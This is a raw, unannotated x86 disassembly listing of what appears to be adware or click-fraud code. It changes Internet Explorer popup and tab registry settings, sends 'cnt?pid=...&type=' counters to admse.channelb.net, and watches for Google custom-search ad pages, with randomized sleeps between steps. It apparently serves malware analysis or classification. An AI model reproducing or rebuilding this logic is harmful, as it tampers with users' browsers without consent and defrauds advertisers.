test eax, eax
je 0x414be5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x244]
test eax, eax
je 0x414bf9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x224]
mov esi, dword [ebp - 0x260]
test esi, esi
je 0x415ac5
mov ecx, dword [ebp - 0x220]
push 0
test ecx, ecx
je 0x41514f
call fcn.00559514
push eax
call fcn.00559483
add esp, 8
call fcn.00559462
cdq
idiv esi
mov edi, edx
mov dword [ebp - 0x258], edi
test edi, edi
js 0x41513e
cmp edi, esi
jge 0x41513e
mov eax, dword [ebp - 0x264]
lea edx, [ebp - 0x23c]
push edx
mov eax, dword [eax + edi*4]
mov dword [ebp - 0x22c], eax
mov eax, dword [ebp - 0x240]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x78]
mov esi, dword [ebp - 0x23c]
call fcn.00426ad5
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x414c8f
push 0x80004005
call fcn.00403fd0
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x21c], eax
mov byte [ebp - 4], 0x1e
test esi, esi
je 0x414ccb
test esi, 0xffff0000
jne 0x414ccb
movzx esi, si
push esi
call fcn.00427b89
test eax, eax
je 0x414cd7
push esi
push eax
lea ecx, [ebp - 0x21c]
call fcn.00403730
jmp 0x414cd7
push esi
lea ecx, [ebp - 0x21c]
call fcn.00426260
mov eax, dword [ebp - 0x22c]
mov ecx, 3
mov word [ebp - 0x2c8], cx
mov dword [ebp - 0x2c0], eax
mov word [ebp - 0x318], cx
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x250], 0
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 0x20
movups xmm0, xmmword [ebp - 0x318]
mov ecx, dword [ebp - 0x2a4]
push eax
sub esp, 0x10
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x2c8]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x2c]
mov eax, dword [ebp - 0x250]
xor ecx, ecx
mov dword [ebp - 0x244], ecx
test eax, eax
je 0x414d75
mov ecx, dword [eax]
lea edx, [ebp - 0x244]
push edx
push 0x5af0bc
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x244]
xor edx, edx
test eax, eax
cmovs ecx, edx
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x254], 0
lea edx, [ebp - 0x254]
mov byte [ebp - 4], 0x22
mov eax, dword [ecx]
push edx
push 0x5a7ff4
push ecx
call dword [eax]
test eax, eax
js 0x414e35
push str._parent
lea ecx, [ebp - 0x220]
call fcn.00403860
mov byte [ebp - 4], 0x23
mov esi, dword [ebp - 0x220]
push 0
push 0
mov eax, dword [esi - 0xc]
push eax
push esi
push 0
push 3
mov dword [ebp - 0x280], eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push eax
push 0
mov dword [ebp - 0x22c], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov edi, eax
test edi, edi
je 0x41504f
push dword [ebp - 0x22c]
push edi
push dword [ebp - 0x280]
push esi
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x254]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov byte [ebp - 4], 0x22
or eax, 0xffffffff
mov edx, dword [ebp - 0x220]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x414e2f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x258]
mov ax, word [0x5ae9d4]
lea ecx, [ebp - 0x278]
push 0
push 0
push 0x2001f
push 0
push 0
mov word [ebp - 0x114], ax
mov al, byte [0x5ae9d6]
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
mov byte [ebp - 0x112], al
call fcn.004265c0
mov esi, dword [ebp - 0x278]
lea eax, [ebp - 0x22c]
push 4
push eax
push 4
push 0
push str.AllowWindowReuse
push esi
mov dword [ebp - 0x22c], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x414ead
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x278], 0
push 0
push 0
push 0x2001f
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerTabbedBrowsing
push SysReAllocStringLen
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x274], 0
call fcn.004265c0
mov esi, dword [ebp - 0x278]
lea eax, [ebp - 0x22c]
push 4
push eax
push 4
push 0
push str.ShortcutBehavior
push esi
mov dword [ebp - 0x22c], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x414f17
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x278], 0
push 0
push 0
push 0x2001f
push 0
push 0
push str.SoftwareMicrosoftInternet_ExplorerNew_Windows
push SysReAllocStringLen
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x274], 0
call fcn.004265c0
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414f50
mov esi, dword [ebp - 0x278]
sub ecx, edx
mov dword [ebp - 0x238], esi
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x114]
push eax
push 1
push 0
push str.PopupMgr
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x414f99
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x244]
push eax
mov dword [ebp - 0x274], 0
mov ecx, dword [eax]
call dword [ecx + 0x114]
push dword [ebp - 0x240]
mov esi, dword [ebp - 0x224]
mov ecx, esi
call fcn.004185c0
cmp edi, dword [ebp - 0x2d8]
jge 0x41513e
mov eax, dword [ebp - 0x2dc]
push 0x5ae2e0
push dword [eax + edi*4]
call fcn.0055a809
add esp, 8
lea ecx, [ebp - 0x234]
test eax, eax
setne al
push 0x5ae2e0
test al, al
je 0x415054
call fcn.00403860
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x234]
push dword [esi + 0xf4]
push str.cnt__pid_stypeap
push eax
call fcn.00403a00
add esp, 8
lea eax, [ebp - 0x234]
mov ecx, esp
mov dword [ebp - 0x280], esp
mov dword [ebp - 0x22c], ecx
push eax
call fcn.00403f30
push ecx
mov ecx, esp
mov byte [ebp - 4], 0x25
push str.admse.channelb.net
call fcn.00403860
mov byte [ebp - 4], 0x24
jmp 0x4150a6
call fcn.00403e20
call fcn.00403860
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x234]
push dword [esi + 0xf4]
push str.cnt__pid_stypeab
push eax
call fcn.00403a00
add esp, 8
lea eax, [ebp - 0x234]
mov ecx, esp
mov dword [ebp - 0x280], esp
mov dword [ebp - 0x22c], ecx
push eax
call fcn.00403f30
push ecx
mov ecx, esp
mov byte [ebp - 4], 0x27
push str.admse.channelb.net
call fcn.00403860
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x22c]
push eax
call fcn.00407bc0
mov edx, dword [ebp - 0x22c]
or esi, 0xffffffff
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4150d2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x22
mov eax, esi
mov edx, dword [ebp - 0x234]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4150f3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x254]
test eax, eax
je 0x415107
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x244]
test eax, eax
je 0x41511b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x1f
mov eax, dword [ebp - 0x250]
test eax, eax
je 0x41512f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x21c]
jmp 0x415aa5
push 0
push 0
push 1
push 0xc000008c
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov eax, dword [eax + 0x118]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x224]
mov esi, dword [eax + 0x11c]
mov edi, dword [eax + 0x120]
call fcn.00559514
push eax
call fcn.00559483
add esp, 8
call fcn.00559462
cdq
mov ecx, 0x64
idiv ecx
test edx, edx
js 0x41519f
cmp edx, esi
jge 0x4151a3
mov dword [ebp - 0x230], 1
lea esi, [ecx - 0x63]
jmp 0x4151e7
cmp esi, edx
jg 0x4151c6
lea eax, [edi + esi]
cmp edx, eax
jge 0x4151c6
mov esi, dword [ebp - 0x230]
cmp esi, 1
je 0x4151e7
mov dword [ebp - 0x230], 2
mov esi, 2
jmp 0x4151e7
call fcn.00559462
cdq
mov ecx, 1
idiv dword [ebp - 0x230]
mov eax, edx
add eax, 1
cmove eax, ecx
mov dword [ebp - 0x230], eax
mov esi, eax
push 0x5ae2e0
lea ecx, [ebp - 0x228]
call fcn.00403860
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x258], 0
test esi, esi
jle 0x415a98
nop dword [eax]
push 0
call fcn.00559514
push eax
call fcn.00559483
add esp, 8
call fcn.00559462
mov ecx, dword [ebp - 0x260]
cdq
idiv ecx
mov edi, edx
test edi, edi
js 0x41513e
cmp edi, ecx
jge 0x41513e
mov eax, dword [ebp - 0x264]
lea esi, [edi*4]
push 0x5ae2e0
push dword [ebp - 0x228]
mov eax, dword [eax + esi]
mov dword [ebp - 0x24c], eax
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x4155c6
cmp edi, dword [ebp - 0x298]
jge 0x41513e
mov ecx, dword [ebp - 0x29c]
xor eax, eax
mov ecx, dword [ecx + esi]
test ecx, ecx
setne al
test eax, eax
je 0x413d99
push ecx
push dword [ebp - 0x228]
call fcn.0055a809
add esp, 8
test eax, eax
sete al
test al, al
je 0x4155c6
call fcn.00559462
mov ecx, dword [ebp - 0x260]
cdq
idiv ecx
mov edi, edx
test edi, edi
js 0x41513e
cmp edi, ecx
jge 0x41513e
mov eax, dword [ebp - 0x264]
lea esi, [edi*4]
push 0x5ae2e0
push dword [ebp - 0x228]
mov eax, dword [eax + esi]
mov dword [ebp - 0x24c], eax
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x4155c6
cmp edi, dword [ebp - 0x298]
jge 0x41513e
mov eax, dword [ebp - 0x29c]
mov ecx, dword [eax + esi]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x413d99
push ecx
push dword [ebp - 0x228]
call fcn.0055a809
add esp, 8
test eax, eax
sete al
test al, al
je 0x4155c6
call fcn.00559462
mov ecx, dword [ebp - 0x260]
cdq
idiv ecx
mov edi, edx
test edi, edi
js 0x41513e
cmp edi, ecx
jge 0x41513e
mov eax, dword [ebp - 0x264]
lea esi, [edi*4]
push 0x5ae2e0
push dword [ebp - 0x228]
mov eax, dword [eax + esi]
mov dword [ebp - 0x24c], eax
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x4155c6
cmp edi, dword [ebp - 0x298]
jge 0x41513e
mov eax, dword [ebp - 0x29c]
mov ecx, dword [eax + esi]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x413d99
push ecx
push dword [ebp - 0x228]
call fcn.0055a809
add esp, 8
test eax, eax
sete al
test al, al
je 0x4155c6
call fcn.00559462
mov ecx, dword [ebp - 0x260]
cdq
idiv ecx
mov edi, edx
test edi, edi
js 0x41513e
cmp edi, ecx
jge 0x41513e
mov eax, dword [ebp - 0x264]
lea esi, [edi*4]
push 0x5ae2e0
mov eax, dword [eax + esi]
mov dword [ebp - 0x24c], eax
lea eax, [ebp - 0x228]
push eax
call fcn.00424f30
add esp, 8
test al, al
je 0x4155c6
cmp edi, dword [ebp - 0x298]
jge 0x41513e
mov eax, dword [ebp - 0x29c]
mov ecx, dword [eax + esi]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x413d99
push ecx
push dword [ebp - 0x228]
call fcn.0055a809
add esp, 8
test eax, eax
sete al
test al, al
je 0x4155c6
call fcn.00559462
mov ecx, dword [ebp - 0x260]
cdq
idiv ecx
mov edi, edx
test edi, edi
js 0x41513e
cmp edi, ecx
jge 0x41513e
mov eax, dword [ebp - 0x264]
lea esi, [edi*4]
push 0x5ae2e0
mov eax, dword [eax + esi]
mov dword [ebp - 0x24c], eax
lea eax, [ebp - 0x228]
push eax
call fcn.00424f30
add esp, 8
test al, al
je 0x4155c6
cmp edi, dword [ebp - 0x298]
jge 0x41513e
mov eax, dword [ebp - 0x29c]
mov ecx, dword [eax + esi]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x413d99
push ecx
push dword [ebp - 0x228]
call fcn.0055a809
add esp, 8
test eax, eax
sete al
test al, al
je 0x4155c6
call fcn.00559462
mov ecx, dword [ebp - 0x260]
cdq
idiv ecx
mov edi, edx
test edi, edi
js 0x41513e
cmp edi, ecx
jge 0x41513e
mov eax, dword [ebp - 0x264]
lea esi, [edi*4]
push 0x5ae2e0
mov eax, dword [eax + esi]
mov dword [ebp - 0x24c], eax
lea eax, [ebp - 0x228]
push eax
call fcn.00424f30
add esp, 8
test al, al
je 0x4155c6
cmp edi, dword [ebp - 0x298]
jge 0x41513e
mov eax, dword [ebp - 0x29c]
mov ecx, dword [eax + esi]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x413d99
push ecx
push dword [ebp - 0x228]
call fcn.0055a809
add esp, 8
test eax, eax
sete al
test al, al
je 0x4155c6
call fcn.00559462
mov ecx, dword [ebp - 0x260]
cdq
idiv ecx
mov edi, edx
test edi, edi
js 0x41513e
cmp edi, ecx
jge 0x41513e
mov eax, dword [ebp - 0x264]
lea esi, [edi*4]
mov eax, dword [eax + esi]
mov dword [ebp - 0x24c], eax
cmp edi, dword [ebp - 0x298]
jge 0x41513e
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x228]
add eax, esi
add ecx, 0xfffffff0
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x22c], ecx
mov edx, dword [eax]
add edx, 0xfffffff0
cmp edx, ecx
je 0x415666
cmp dword [ecx + 0xc], 0
lea eax, [ecx + 0xc]
mov dword [ebp - 0x23c], eax
jl 0x41564f
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x41564f
push edx
call fcn.00403ed0
or edx, 0xffffffff
mov dword [ebp - 0x280], eax
mov ecx, edx
add esp, 4
mov edx, dword [ebp - 0x23c]
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x415644
mov eax, dword [ebp - 0x22c]
push eax
mov ecx, dword [eax]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x280]
add eax, 0x10
mov dword [ebp - 0x228], eax
jmp 0x415666
mov ecx, dword [ebp - 0x220]
mov eax, dword [ecx]
lea ecx, [ebp - 0x228]
push dword [eax - 0xc]
push eax
call fcn.00403d00
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x2a0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x78]
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x23c], eax
call fcn.00426ad5
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x413d99
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x21c], eax
mov byte [ebp - 4], 0x29
mov eax, dword [ebp - 0x23c]
test eax, eax
je 0x4156e5
test eax, 0xffff0000
jne 0x4156e5
movzx eax, ax
push eax
mov dword [ebp - 0x23c], eax
call fcn.00427b89
test eax, eax
je 0x4156f1
push dword [ebp - 0x23c]
lea ecx, [ebp - 0x21c]
push eax
call fcn.00403730
jmp 0x4156f1
push eax
lea ecx, [ebp - 0x21c]
call fcn.00426260
mov eax, dword [ebp - 0x24c]
mov ecx, 3
mov word [ebp - 0x344], cx
mov dword [ebp - 0x33c], eax
mov word [ebp - 0x318], cx
mov dword [ebp - 0x310], 0
mov dword [ebp - 0x250], 0
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 0x2b
movups xmm0, xmmword [ebp - 0x318]
mov ecx, dword [ebp - 0x2a4]
push eax
sub esp, 0x10
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x344]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x2c]
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x248], 0
test eax, eax
je 0x415791
mov ecx, dword [eax]
lea edx, [ebp - 0x248]
push edx
push 0x5af0bc
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x248]
xor edx, edx
test eax, eax
cmovs ecx, edx
mov dword [ebp - 0x248], ecx
mov byte [ebp - 4], 0x2c
cmp edi, dword [ebp - 0x2f4]
jge 0x41513e
mov eax, dword [ebp - 0x2f8]
add eax, esi
push 0x5ae2e0
mov dword [ebp - 0x23c], eax
push dword [eax]
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x4158db
mov eax, dword [ebp - 0x248]
lea edx, [ebp - 0x334]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
cmp word [ebp - 0x334], 9
jne 0x4158db
mov dword [ebp - 0x234], 0
mov byte [ebp - 4], 0x2d
lea edx, [ebp - 0x234]
mov eax, dword [ebp - 0x28c]
push edx
lea edx, [ebp - 0x334]
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x3c]
lea eax, [ebp - 0x2c8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, 9
xor esi, esi
mov word [ebp - 0x2c8], ax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2a8], esi
mov byte [ebp - 4], 0x2e
mov eax, dword [ebp - 0x248]
test eax, eax
je 0x415873
mov ecx, dword [eax]
lea edx, [ebp - 0x2a8]
push edx
push 0x5a7fe4
push eax
call dword [ecx]
mov esi, dword [ebp - 0x2a8]
xor ecx, ecx
test eax, eax
cmovs esi, ecx
mov dword [ebp - 0x2a8], esi
mov eax, dword [ebp - 0x23c]
lea ecx, [ebp - 0x26c]
push dword [eax]
call fcn.004263c0
lea edx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x2f
mov ecx, dword [esi]
push edx
lea edx, [ebp - 0x2c8]
push edx
push dword [eax]
push esi
call dword [ecx + 0x7c]
push dword [ebp - 0x26c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov byte [ebp - 4], 0x2d
mov eax, dword [ebp - 0x2a8]
test eax, eax
je 0x4158c0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x2c
mov eax, dword [ebp - 0x234]
test eax, eax
je 0x4158d4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea esi, [edi*4]
cmp edi, dword [ebp - 0x2e8]
jge 0x41513e
add esi, dword [ebp - 0x2ec]
push 0x5ae2e0
push dword [esi]
call fcn.0055a809
add esp, 8
test eax, eax
setne al
test al, al
je 0x415944
lea ecx, [ebp - 0x358]
call fcn.004322d0
lea eax, [ebp - 0x358]
mov byte [ebp - 4], 0x30
push eax
push ecx
mov ecx, esp
push esi
mov dword [ebp - 0x23c], ecx
call fcn.00403f30
push dword [ebp - 0x240]
call fcn.00411b60
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x2c
call fcn.004322e7
push ecx
mov ecx, esp
mov dword [ebp - 0x23c], esp
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x22c], ecx
push eax
call fcn.00403f30
push 1
push ecx
mov ecx, esp
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x22c], ecx
push dword [ebp - 0x220]
call fcn.00403f30
mov edi, dword [ebp - 0x224]
mov ecx, edi
mov byte [ebp - 4], 0x2c
call fcn.0040dc80
push 0x5ae2e0
lea ecx, [ebp - 0x254]
call fcn.00403860
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x254]
push dword [edi + 0xf4]
push str.cnt__pid_stypeab
push eax
call fcn.00403a00
add esp, 8
lea eax, [ebp - 0x254]
mov ecx, esp
mov dword [ebp - 0x23c], esp
mov dword [ebp - 0x22c], ecx
push eax
call fcn.00403f30
push ecx
mov ecx, esp
mov byte [ebp - 4], 0x33
push str.admse.channelb.net
call fcn.00403860
lea eax, [ebp - 0x27c]
mov byte [ebp - 4], 0x32
push eax
call fcn.00407bc0
mov edx, dword [ebp - 0x27c]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x415a13
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x2c
mov eax, esi
mov edx, dword [ebp - 0x254]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x415a34
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x2b
mov eax, dword [ebp - 0x248]
test eax, eax
je 0x415a48
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x2a
mov eax, dword [ebp - 0x250]
test eax, eax
je 0x415a5c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x28
mov eax, esi
mov edx, dword [ebp - 0x21c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x415a7d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp eax, dword [ebp - 0x230]
jl 0x415210
jmp 0x415a9b
or esi, 0xffffffff
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x228]
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x415e88
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x415e88
mov eax, 9
mov dword [ebp - 0x26c], 0
mov word [ebp - 0x2c8], ax
lea edx, [ebp - 0x26c]
mov eax, dword [ebp - 0x284]
mov ecx, 3
mov word [ebp - 0x334], cx
xor esi, esi
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x21c], 0
mov ecx, dword [eax]
push edx
push eax
mov dword [ebp - 0x230], esi
call dword [ecx + 0x5c]
test eax, eax
js 0x415e75
mov eax, dword [ebp - 0x26c]
lea edx, [ebp - 0x23c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x280], eax
test eax, eax
je 0x415e75
xor edi, edi
mov dword [ebp - 0x248], edi
test eax, eax
jle 0x415e75
nop
test esi, esi
jne 0x415e75
mov eax, dword [ebp - 0x26c]
lea edx, [ebp - 0x2c8]
push edx
mov dword [ebp - 0x32c], edi
lea edx, [ebp - 0x334]
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
test eax, eax
jne 0x415e52
mov eax, dword [ebp - 0x2c0]
lea edx, [ebp - 0x27c]
push edx
push str.D_3
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
jne 0x415e42
mov dword [ebp - 0x250], eax
lea edx, [ebp - 0x250]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x27c]
push edx
push 0x5a8054
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
jne 0x415e32
mov eax, dword [ebp - 0x250]
lea edx, [ebp - 0x254]
push edx
push 0x5a7fa4
push 0x5a7f94
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x415e22
mov eax, dword [ebp - 0x254]
lea edx, [ebp - 0x234]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
jne 0x415e22
mov eax, dword [ebp - 0x234]
lea edx, [ebp - 0x21c]
push edx
push 0x5a8004
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
jne 0x415e12
mov dword [ebp - 0x220], eax
lea edx, [ebp - 0x220]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x21c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x21c]
lea edx, [ebp - 0x258]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa0]
mov esi, dword [ebp - 0x220]
call fcn.00426ad5
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x413d99
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea edi, [eax + 0x10]
mov dword [ebp - 0x268], edi
mov byte [ebp - 4], 0x34
test esi, esi
je 0x415cc4
test esi, 0xffff0000
jne 0x415cc4
movzx esi, si
push esi
call fcn.00427b89
test eax, eax
je 0x415cd6
push esi
push eax
lea ecx, [ebp - 0x268]
call fcn.00403730
jmp 0x415cd0
push esi
lea ecx, [ebp - 0x268]
call fcn.00426260
mov edi, dword [ebp - 0x268]
mov byte [ebp - 4], 0x35
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x22c], eax
call fcn.00426ad5
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x413d99
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x244], esi
mov byte [ebp - 4], 0x36
mov eax, dword [ebp - 0x22c]
test eax, eax
je 0x415d46
test eax, 0xffff0000
jne 0x415d46
movzx eax, ax
push eax
mov dword [ebp - 0x22c], eax
call fcn.00427b89
test eax, eax
je 0x415d58
push dword [ebp - 0x22c]
lea ecx, [ebp - 0x244]
push eax
call fcn.00403730
jmp 0x415d52
push eax
lea ecx, [ebp - 0x244]
call fcn.00426260
mov esi, dword [ebp - 0x244]
mov byte [ebp - 4], 0x37
cmp dword [esi - 0xc], 0
jl 0x415dec
push str.google.com_afs_
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x415d7f
sub eax, esi
cmp eax, 0xffffffff
jne 0x415d9e
cmp dword [esi - 0xc], 0
jl 0x415dec
push str.google.co.kr_cse_
push esi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x415dec
sub eax, esi
cmp eax, 0xffffffff
je 0x415dec
cmp dword [edi - 0xc], 0
jl 0x415dec
push str.Google_Custom_Search
push edi
call fcn.00558a23
add esp, 8
test eax, eax
je 0x415dec
sub eax, edi
cmp eax, 0xffffffff
je 0x415dec
push dword [ebp - 0x234]
mov ecx, dword [ebp - 0x224]
push dword [ebp - 0x240]
call fcn.0041a590
mov esi, dword [ebp - 0x230]
test eax, eax
mov eax, 1
cmovne esi, eax
mov dword [ebp - 0x230], esi
jmp 0x415df2
mov esi, dword [ebp - 0x230]
lea ecx, [ebp - 0x244]
call fcn.00403fb0
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 0x10
call fcn.00403fb0
mov edi, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x21c]
test ecx, ecx
je 0x415e22
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x254]
test ecx, ecx
je 0x415e32
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x250]
test ecx, ecx
je 0x415e42
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x27c]
test ecx, ecx
je 0x415e52
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [ebp - 0x2c0]
test ecx, ecx
je 0x415e62
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
inc edi
mov dword [ebp - 0x248], edi
cmp edi, dword [ebp - 0x280]
jl 0x415b60
mov ecx, dword [ebp - 0x26c]
test ecx, ecx
je 0x415e85
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
or esi, 0xffffffff
mov eax, dword [ebp - 0x284]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x2dc]
call fcn.00424d60
lea ecx, [ebp - 0x2ec]
call fcn.00424d60
lea ecx, [ebp - 0x2f8]
call fcn.00424d60
lea ecx, [ebp - 0x29c]
call fcn.00424d60
mov eax, dword [ebp - 0x264]
test eax, eax
je 0x415ed3
push eax
call fcn.00555ed7
add esp, 4
mov byte [ebp - 4], 3
add ebx, 0xfffffff0
mov eax, esi
lock xadd dword [ebx + 0xc], eax
dec eax
test eax, eax
jg 0x415eee
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.00559514
push eax
call fcn.00559483
add esp, 8
call fcn.00559462
mov ecx, dword [ebp - 0x224]
cdq
idiv dword [ecx + 0x140]
mov eax, dword [ecx + 0x13c]
add eax, 5
add eax, edx
imul eax, eax, 0x3e8
push eax
call edi
mov ecx, dword [ebp - 0x240]
test ecx, ecx
je 0x415f3d
mov eax, dword [ecx]
push ecx
call dword [eax + 0x80]
mov esi, dword [ebp - 0x270]
